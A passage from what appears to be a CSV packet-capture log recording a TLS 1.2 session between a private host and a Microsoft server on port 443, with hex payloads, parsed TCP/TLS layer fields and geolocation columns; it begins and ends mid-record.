fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f\"\"}}]\"\n2026-06-14 14:16:47.843327,33,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=507095793 Ack=251464201,bc24112907bbbc2411360d0c080045000028967f400080065a930a98980b28683eb2f9de01bb1e39aaf10efd0a0950100400c44c0000,\".$.)...$.6\n...E..(..@...Z.\n...(h>......9....\n\tP....L..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38527, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23187, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507095793, \"\"ack\"\": 251464201, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 50252, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:47.843346,34,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=251464201 Ack=507095793,bc2411360d0cbc24112907bb0800450003e09c734000400690e728683eb20a98980b01bbf9de0efd0a091e39aaf15018003f0d9000008b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303630393037313930305a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303630393037303330305aa011180f32303236303631363036303330305a300d06092a864886f70d01010b0500038201010076dd3027af599ae4dc943a023571859d262b997069f396f5dfb7359d2d3daa239e6c87685a06c6be9a49ee04fa0f53367f0a231e548b5fd87fe5cfada28d4c6cc34445b59b0bbe2b6dec7cfbb9373aded13898662846a2280e779948cc10eebb08205a5d3f802a7c64e4699270a033b4fdd97426e4c17df588644c53b3bc52068ccb04ac98b52b748cb81b0dbd0193b43efc371ee85bc813c0e12f3e16518de198ddeb7eb4e54c68e0e24f9e2b6df30d119d4f7e32f8d4d41e95e478650436ee80abd67ddf1a5d29f622d7b2059198a234a0c347f050cb04e3d256d693e0ff22ea93af535191075da94d9fccee5fa10ac6eb3d4f215be9e1994d0d20dc59f96c0c00016903001861042e74035708cb762d105982cf19ef58e03da62139700b07784befcff8feb10d9606b4a626944c163bafed1688142f2f7c35cb3b3644f40a44e17aa28f7d4e9c400b975c782e0500b781b3631324758fbcffbf4fcedda4856d0649740793b6d620080401008b7c5eca0e2efe5cc1e4fb34753db07568d21c904569ba88b47b2a809802e21d0b713b21234dc49e9c0e4e58b9f24b6f5b6a02acdb1960072c163d62e1c492c06a434d04ef07313bd6f16323f31093191569e08025b25748ffa71d822392373e8656d7d3eb205dd2b54b6ab80a37239649cd585ba7381eb8323d2918ffe477b67da43d2cf9c5e518bd4b3dfef11dd4a168d0f06efab126764e764516527d731b8ad42f57c3e30c3ea9b20b5eb456612eb7d73ca7249502c880ea71b1ec7dd8b2e053ec853520db271b8a7ea469d87ec8b8499f81021af32422a906d7803ddfcdbe93ca81bc1797cdebeecdc35cbe8e6b812b18664b620f9f71adb375f8698bf90e000000,\".]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@...........0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260609071900Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260609070300Z....20260616060300Z0\n.\t*.H..\n..........v.0'.Y....:.5q..&+.pi.....5.-=.#.l.hZ....I....S6.\n#.T._.......Ll.DE....+m.|..7:..8.f(F.(.w.H..... Z]?.*|d.i.p.3...t&..}..dLS..R.......+t...\n....>.7..[..../>.Q.....~..Lh..O.+m.\n..O~2......xe.6....}..]).\"\"......4..G.P....V....\"\"...SQ..].M..._.\n..=O![...M\n .Y.l...i...a..t.W..v-.Y....X.=.!9p..xK.....\n....&.L.;.....//|5.;6D.\nD.z..}N.@..\\x......c.$u....O....m.It.... .....|^....\\...4u=.uh...Ei...{*......q;!#M....NX..Ko[j....`.,.=b....jCM...1;..c#.....i..%.WH....#.7>.V... ]..Kj.\n7#.I.X[.8..2=)...w.}.=,.....K=.....h..n..&vNvE.R}s.../W...>...^.Va...<.$.....q..}...S..5 .'..~.i.~..I.....$\"\"....=..............\\..k.+.fKb..q..u.i......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 992, \"\"id\"\": 40051, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37095, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251464201, \"\"ack\"\": 507095793, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3472, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303630393037313930305a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303630393037303330305aa011180f32303236303631363036303330305a300d06092a864886f70d01010b0500038201010076dd3027af599ae4dc943a023571859d262b997069f396f5dfb7359d2d3daa239e6c87685a06c6be9a49ee04fa0f53367f0a231e548b5fd87fe5cfada28d4c6cc34445b59b0bbe2b6dec7cfbb9373aded13898662846a2280e779948cc10eebb08205a5d3f802a7c64e4699270a033b4fdd97426e4c17df588644c53b3bc52068ccb04ac98b52b748cb81b0dbd0193b43efc371ee85bc813c0e12f3e16518de198ddeb7eb4e54c68e0e24f9e2b6df30d119d4f7e32f8d4d41e95e478650436ee80abd67ddf1a5d29f622d7b2059198a234a0c347f050cb04e3d256d693e0ff22ea93af535191075da94d9fccee5fa10ac6eb3d4f215be9e1994d0d20dc59f96c0c00016903001861042e74035708cb762d105982cf19ef58e03da62139700b07784befcff8feb10d9606b4a626944c163bafed1688142f2f7c35cb3b3644f40a44e17aa28f7d4e9c400b975c782e0500b781b3631324758fbcffbf4fcedda4856d0649740793b6d620080401008b7c5eca0e2efe5cc1e4fb34753db07568d21c904569ba88b47b2a809802e21d0b713b21234dc49e9c0e4e58b9f24b6f5b6a02acdb1960072c163d62e1c492c06a434d04ef07313bd6f16323f31093191569e08025b25748ffa71d822392373e8656d7d3eb205dd2b54b6ab80a37239649cd585ba7381eb8323d2918ffe477b67da43d2cf9c5e518bd4b3dfef11dd4a168d0f06efab126764e764516527d731b8ad42f57c3e30c3ea9b20b5eb456612eb7d73ca7249502c880ea71b1ec7dd8b2e053ec853520db271b8a7ea469d87ec8b8499f81021af32422a906d7803ddfcdbe93ca81bc1797cdebeecdc35cbe8e6b812b18664b620f9f71adb375f8698bf90e000000\"\"}}]\"\n2026-06-14 14:16:47.843484,35,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=507095793 Ack=251465153,bc24112907bbbc2411360d0c0800450000289680400080065a920a98980b28683eb2f9de01bb1e39aaf10efd0dc1501003fcc0980000,\".$.)...$.6\n...E..(..@...Z.\n...(h>......9....\n.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38528, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23186, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507095793, \"\"ack\"\": 251465153, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1020, \"\"chksum\"\": 49304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:47.861054,36,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=507095793 Ack=251465153,bc24112907bbbc2411360d0c0800450000c696814000800659f30a98980b28683eb2f9de01bb1e39aaf10efd0dc1501803fcd0a900001603030066100000626104e85501b26026694c7f0113d68b52643fe0c0017e9a46508fd4a43d00271b0a53ccfff508da2ff0c5b95641945cce7ff5ba515214e5237aab8a0c87e8904f6604ba03f6e3e24202f1118f51b4aa531ee830301ebab89e929ffcc002b8f5e4fedb140303000101160303002800000000000000004783baba71c28286c8750d2a6101984e550450d7fd1cb4a3f96af901bc9800f2,\"a..U..`&iL.....Rd?...~.FP...=.'.\nS...../...VA.\\....QR..#z......Of......B....Q..S..00..............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 38529, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23027, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507095793, \"\"ack\"\": 251465153, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1020, \"\"chksum\"\": 53417, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b\\\"\"a\\\\x04\\\\xe8U\\\\x01\\\\xb2`&iL\\\\x7f\\\\x01\\\\x13\\\\xd6\\\\x8bRd?\\\\xe0\\\\xc0\\\\x01~\\\\x9aFP\\\\x8f\\\\xd4\\\\xa4=\\\\x00'\\\\x1b\\\\nS\\\\xcc\\\\xff\\\\xf5\\\\x08\\\\xda/\\\\xf0\\\\xc5\\\\xb9VA\\\\x94\\\\\\\\\\\\xce\\\\x7f\\\\xf5\\\\xbaQR\\\\x14\\\\xe5#z\\\\xab\\\\x8a\\\\x0c\\\\x87\\\\xe8\\\\x90Of\\\\x04\\\\xba\\\\x03\\\\xf6\\\\xe3\\\\xe2B\\\\x02\\\\xf1\\\\x11\\\\x8fQ\\\\xb4\\\\xaaS\\\\x1e\\\\xe800\\\\x1e\\\\xba\\\\xb8\\\\x9e\\\\x92\\\\x9f\\\\xfc\\\\xc0\\\\x02\\\\xb8\\\\xf5\\\\xe4\\\\xfe\\\\xdb\\\"\" |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'G\\\\x83\\\\xba\\\\xbaq\\\\xc2\\\\x82\\\\x86\\\\xc8u\\\\r*a\\\\x01\\\\x98NU\\\\x04P\\\\xd7\\\\xfd\\\\x1c\\\\xb4\\\\xa3\\\\xf9j\\\\xf9\\\\x01\\\\xbc\\\\x98\\\\x00\\\\xf2' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:47.861066,37,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=251465153 Ack=507095951,bc2411360d0cbc24112907bb0800450000289c7440004006949e28683eb20a98980b01bbf9de0efd0dc11e39ab8f5010003f09d80000,\".$.6\n..$.)....E..(.t@.@...(h>.\n.........\n..9..P..?\t...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 40052, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38046, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251465153, \"\"ack\"\": 507095951, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:48.122949,38,TCP 40.104.62.178:443 -> 10.152.152.11:63966,40.104.62.178,10.152.152.11,443,63966,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=251465153 Ack=507095951,bc2411360d0cbc24112907bb0800450001d39c754000400692f228683eb20a98980b01bbf9de0efd0dc11e39ab8f5018003f0b830000160303012e0400012a00008ca0012400000000945e016933019c4f9ba9c380eed9f07cdef456742a2a71df314fa4c430b9cd54d6803dca42c04dc2f2d68e4ee45740cce07a2e13eb6b5e24825a41539e2fa3effd3534d53f4e3da8b99a17ca0e81356647bac87985cbb943d3d7291282a8e5d9faf4a0544e2d7fcfa2886f6b6735c1318466cd6760c19d1cc4292756003e9983d87f4668b46f6aae2ff60330443b298420332bf5533fbe7e5858d3f80d1062c119c94c4874943ec08b7d37cb513efe524cdd76f7bf850def822d021da4a26b8a088fd88e91580d60b59ffffa4def80c277d41e5bad196cb31c46474ae412a9e3d1a7d9a5d515cbfd8bba81b1b9acb02e828eaa853e02847837a8ebfeb5290f7d222629b6cbcdc3a182387c0f065140183e0f876c8ba5a9893f8ff846520973df14030300010116030300280000000000000000b1eea09b125fb74cfcb3915a2150d87afbb73818a31dd8ea0790540dc5c7fbd21703030040000000000000000101899b31167e00f779772403d16a1872ee0f99a934504f0ed2de4310565c373a9cbc1889e8347b3340c93c0456996aa4e85f8c036cb416c4,\"....._.L...Z!P.z..8.......T\n....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 40053, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37618, \"\"src\"\": \"\"40.104.62.178\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63966, \"\"seq\"\": 251465153, \"\"ack\"\": 507095951, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2947, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x94^\\\\x01i3\\\\x01\\\\x9cO\\\\x9b\\\\xa9\\\\xc3\\\\x80\\\\xee\\\\xd9\\\\xf0|\\\\xde\\\\xf4Vt**q\\\\xdf1O\\\\xa4\\\\xc40\\\\xb9\\\\xcdT\\\\xd6\\\\x80=\\\\xcaB\\\\xc0M\\\\xc2\\\\xf2\\\\xd6\\\\x8eN\\\\xe4W@\\\\xcc\\\\xe0z.\\\\x13\\\\xebk^$\\\\x82ZAS\\\\x9e/\\\\xa3\\\\xef\\\\xfd54\\\\xd5?N=\\\\xa8\\\\xb9\\\\x9a\\\\x17\\\\xca\\\\x0e\\\\x815fG\\\\xba\\\\xc8y\\\\x85\\\\xcb\\\\xb9C\\\\xd3\\\\xd7)\\\\x12\\\\x82\\\\xa8\\\\xe5\\\\xd9\\\\xfa\\\\xf4\\\\xa0TN-\\\\x7f\\\\xcf\\\\xa2\\\\x88okg5\\\\xc11\\\\x84f\\\\xcdg`\\\\xc1\\\\x9d\\\\x1c\\\\xc4)\\\\'V\\\\x00>\\\\x99\\\\x83\\\\xd8\\\\x7fFh\\\\xb4oj\\\\xae/\\\\xf6\\\\x030D;)\\\\x84 3+\\\\xf5S?\\\\xbe~XX\\\\xd3\\\\xf8\\\\r\\\\x10b\\\\xc1\\\\x19\\\\xc9LHt\\\\x94>\\\\xc0\\\\x8b}7\\\\xcbQ>\\\\xfeRL\\\\xddv\\\\xf7\\\\xbf\\\\x85\\\\r\\\\xef\\\\x82-\\\\x02\\\\x1d\\\\xa4\\\\xa2k\\\\x8a\\\\x08\\\\x8f\\\\xd8\\\\x8e\\\\x91X\\\\r`\\\\xb5\\\\x9f\\\\xff\\\\xfaM\\\\xef\\\\x80\\\\xc2w\\\\xd4\\\\x1e[\\\\xad\\\\x19l\\\\xb3\\\\x1cFGJ\\\\xe4\\\\x12\\\\xa9\\\\xe3\\\\xd1\\\\xa7\\\\xd9\\\\xa5\\\\xd5\\\\x15\\\\xcb\\\\xfd\\\\x8b\\\\xba\\\\x81\\\\xb1\\\\xb9\\\\xac\\\\xb0.\\\\x82\\\\x8e\\\\xaa\\\\x85>\\\\x02\\\\x84x7\\\\xa8\\\\xeb\\\\xfe\\\\xb5)\\\\x0f}\\\"\"&)\\\\xb6\\\\xcb\\\\xcd\\\\xc3\\\\xa1\\\\x828|\\\\x0f\\\\x06Q@\\\\x18>\\\\x0f\\\\x87l\\\\x8b\\\\xa5\\\\xa9\\\\x89?\\\\x8f\\\\xf8FR\\\\ts\\\\xdf' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xb1\\\\xee\\\\xa0\\\\x9b\\\\x12_\\\\xb7L\\\\xfc\\\\xb3\\\\x91Z!P\\\\xd8z\\\\xfb\\\\xb78\\\\x18\\\\xa3\\\\x1d\\\\xd8\\\\xea\\\\x07\\\\x90T\\\\r\\\\xc5\\\\xc7\\\\xfb\\\\xd2' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x01\\\\x89\\\\x9b1\\\\x16~\\\\x00\\\\xf7yw$\\\\x03\\\\xd1j\\\\x18r\\\\xee\\\\x0f\\\\x99\\\\xa94PO\\\\x0e\\\\xd2\\\\xdeC\\\\x10V\\\\\\\\7:\\\\x9c\\\\xbc\\\\x18\\\\x89\\\\xe84{3@\\\\xc9<\\\\x04V\\\\x99j\\\\xa4\\\\xe8_\\\\x8c\\\\x03l\\\\xb4\\\\x16\\\\xc4' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:48.123122,39,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=507095951 Ack=251465580,bc24112907bbbc2411360d0c0800450000289682400080065a900a98980b28683eb2f9de01bb1e39ab8f0efd0f6c501003fabe510000,\".$.)...$.6\n...E..(..@...Z.\n...(h>......9.....lP....Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38530, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23184, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.104.62.178\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63966, \"\"dport\"\": 443, \"\"seq\"\": 507095951, \"\"ack\"\": 251465580, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 48721, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:48.139272,40,TCP 10.152.152.11:63966 -> 40.104.62.178:443,10.152.152.11,40.104.62.178,63966,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.104.62.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=507095951 